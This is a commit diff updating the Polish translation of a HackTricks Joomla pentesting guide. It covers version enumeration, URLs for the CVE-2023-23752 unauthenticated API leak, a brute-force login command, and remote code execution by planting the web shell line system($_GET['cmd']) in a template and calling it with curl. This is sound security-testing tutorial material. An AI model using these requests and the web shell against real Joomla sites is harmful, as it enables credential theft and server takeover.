Translated ['network-services-pentesting/pentesting-web/joomla.md'] to p

This commit is contained in:
Translator 2024-04-10 11:57:30 +00:00
parent 0a70e4a417
commit 7c205aed6f

View file

@ -4,17 +4,17 @@
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do [repozytorium hacktricks](https://github.com/carlospolop/hacktricks) i [repozytorium hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
### Statystyki Joomla
Joomla zbiera pewne anonimowe [statystyki użytkowania](https://developer.joomla.org/about/stats.html), takie jak podział wersji Joomla, PHP i baz danych oraz systemów operacyjnych serwera używanych w instalacjach Joomla. Dane te można zapytać za pomocą publicznego [API](https://developer.joomla.org/about/stats/api.html).
Joomla zbiera pewne anonimowe [statystyki użytkowania](https://developer.joomla.org/about/stats.html), takie jak podział wersji Joomla, PHP i baz danych oraz systemy operacyjne serwerów używane w instalacjach Joomla. Te dane można zapytać za pomocą ich publicznego [API](https://developer.joomla.org/about/stats/api.html).
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
@ -42,9 +42,9 @@ curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
}
}
```
## Wyliczanie
## Wyliczenie
### Odkrywanie / Pozyskiwanie informacji
### Odkrywanie/Śledzenie
* Sprawdź **meta**
```bash
@ -53,8 +53,6 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
```
* robots.txt
Plik robots.txt jest plikiem tekstowym używanym przez witryny internetowe do komunikacji z robotami wyszukiwarek. Jest to zazwyczaj umieszczane w głównym katalogu witryny i zawiera instrukcje dla robotów wyszukiwarek dotyczące indeksowania i przeglądania strony. Plik robots.txt może zawierać polecenia, takie jak "User-agent", które określają, które roboty wyszukiwarek mają dostęp do witryny, oraz "Disallow", które określają, które części witryny nie powinny być indeksowane. Jest to przydatne narzędzie podczas testowania penetracyjnego, ponieważ może ujawnić informacje o ukrytych stronach lub katalogach, które nie powinny być publicznie dostępne.
```
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
@ -65,50 +63,6 @@ Plik robots.txt jest plikiem tekstowym używanym przez witryny internetowe do ko
[...]
```
* README.txt
# Joomla
## Joomla! is a popular open-source content management system (CMS) used to build websites and online applications. As a pentester, it is important to understand the vulnerabilities and security weaknesses that can be exploited in Joomla installations.
## Enumeration
### Version Detection
To determine the version of Joomla running on a target website, you can check the `README.txt` file located in the root directory. This file often contains information about the Joomla version and other useful details.
### Directory Enumeration
Performing directory enumeration can help identify potential attack vectors and hidden files or directories. Tools like `dirb` or `gobuster` can be used to brute-force directories and discover additional paths.
## Exploitation
### Known Vulnerabilities
Joomla has had several vulnerabilities in the past, so it is crucial to stay updated with the latest security advisories. Exploiting known vulnerabilities can provide unauthorized access to the Joomla installation or even compromise the underlying server.
### SQL Injection
Joomla is not immune to SQL injection attacks. By injecting malicious SQL queries into vulnerable parameters, an attacker can manipulate the database and potentially gain unauthorized access to sensitive information.
### File Inclusion
File inclusion vulnerabilities in Joomla can allow an attacker to include and execute arbitrary files on the server. This can lead to remote code execution and complete compromise of the target system.
### Cross-Site Scripting (XSS)
Cross-Site Scripting vulnerabilities in Joomla can be exploited to inject malicious scripts into web pages viewed by users. This can lead to session hijacking, defacement, or the theft of sensitive information.
## Privilege Escalation
Once access to a Joomla installation is gained, privilege escalation techniques can be used to elevate privileges and gain further control over the system. This may involve exploiting misconfigurations, weak file permissions, or other vulnerabilities.
## Post-Exploitation
After compromising a Joomla installation, it is important to maintain access and perform post-exploitation activities. This may include creating backdoors, stealing data, or pivoting to other systems within the network.
## Conclusion
Understanding the vulnerabilities and exploitation techniques related to Joomla is essential for conducting effective penetration testing. By identifying and exploiting weaknesses in Joomla installations, pentesters can help organizations improve their security posture and protect against potential attacks.
```
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
@ -121,40 +75,33 @@ Understanding the vulnerabilities and exploitation techniques related to Joomla
* W **/administrator/manifests/files/joomla.xml** można zobaczyć wersję.
* W **/language/en-GB/en-GB.xml** można uzyskać wersję Joomla.
* W **plugins/system/cache/cache.xml** można zobaczyć przybliżoną wersję.
### Automatyczne
```bash
droopescan scan joomla --url http://joomla-site.local/
```
W[ **80,443 - Metodologia testowania penetracyjnego aplikacji internetowych to sekcja o skanerach CMS**](./#cms-scanners), które mogą skanować Joomla.
### API Uwrażliwienie na Ujawnienie Informacji bez Uwierzytelnienia:
Wersje od 4.0.0 do 4.2.7 są podatne na Ujawnienie informacji bez uwierzytelnienia (CVE-2023-23752), które ujawnią dane uwierzytelniające i inne informacje.
* Użytkownicy: `http://<host>/api/v1/users?public=true`
* Plik konfiguracyjny: `http://<host>/api/index.php/v1/config/application?public=true`
**Moduł MSF**: `scanner/http/joomla_api_improper_access_checks` lub skrypt ruby: [51334](https://www.exploit-db.com/exploits/51334)
### Atak Brute-Force
Możesz użyć tego [skryptu](https://github.com/ajnik/joomla-bruteforce), aby spróbować przeprowadzić atak Brute-Force na logowanie.
Możesz użyć tego [skryptu](https://github.com/ajnik/joomla-bruteforce), aby spróbować przeprowadzić atak brute force na logowanie.
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
```
## RCE (Remote Code Execution)
## RCE
Jeśli udało Ci się zdobyć **dane logowania administratora**, możesz uzyskać **RCE (zdalne wykonanie kodu)**, dodając fragment **kodu PHP**, aby uzyskać **RCE**. Możemy to zrobić, **dostosowując** **szablon**.
Jeśli udało ci się uzyskać **dane logowania administratora**, możesz **wykonać RCE wewnątrz niego**, dodając kawałek **kodu PHP** w celu uzyskania **RCE**. Możemy to zrobić, **dostosowując** **szablon**.
1. **Kliknij** na **`Szablony`** na dole po lewej stronie pod `Konfiguracja`, aby otworzyć menu szablonów.
2. **Kliknij** na nazwę **szablonu**. Wybierzmy **`protostar`** pod nagłówkiem `Szablon`. Spowoduje to otwarcie strony **`Szablony: Dostosuj`**.
3. Wreszcie, możesz kliknąć na stronę, aby otworz**źródło strony**. Wybierzmy stronę **`error.php`**. Dodamy **jednolinijkowy kod PHP do zdalnego wykonania**, jak poniżej:
1. Kliknij na **`Szablony`** w dolnym lewym rogu pod `Konfiguracją`, aby otworzyć menu szablonów.
2. Kliknij na nazwę **szablonu**. Wybierzmy **`protostar`** pod nagłówkiem `Szablon`. Spowoduje to otwarcie strony **`Szablony: Dostosuj`**.
3. Wreszcie, możesz kliknąć na stronę, aby wyświetlić **źródło strony**. Wybierzmy stronę **`error.php`**. Dodamy **jednoliniowy kod PHP do uzyskania wykonania kodu** w następujący sposób:
1. **`system($_GET['cmd']);`**
4. **Zapisz i zamknij**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>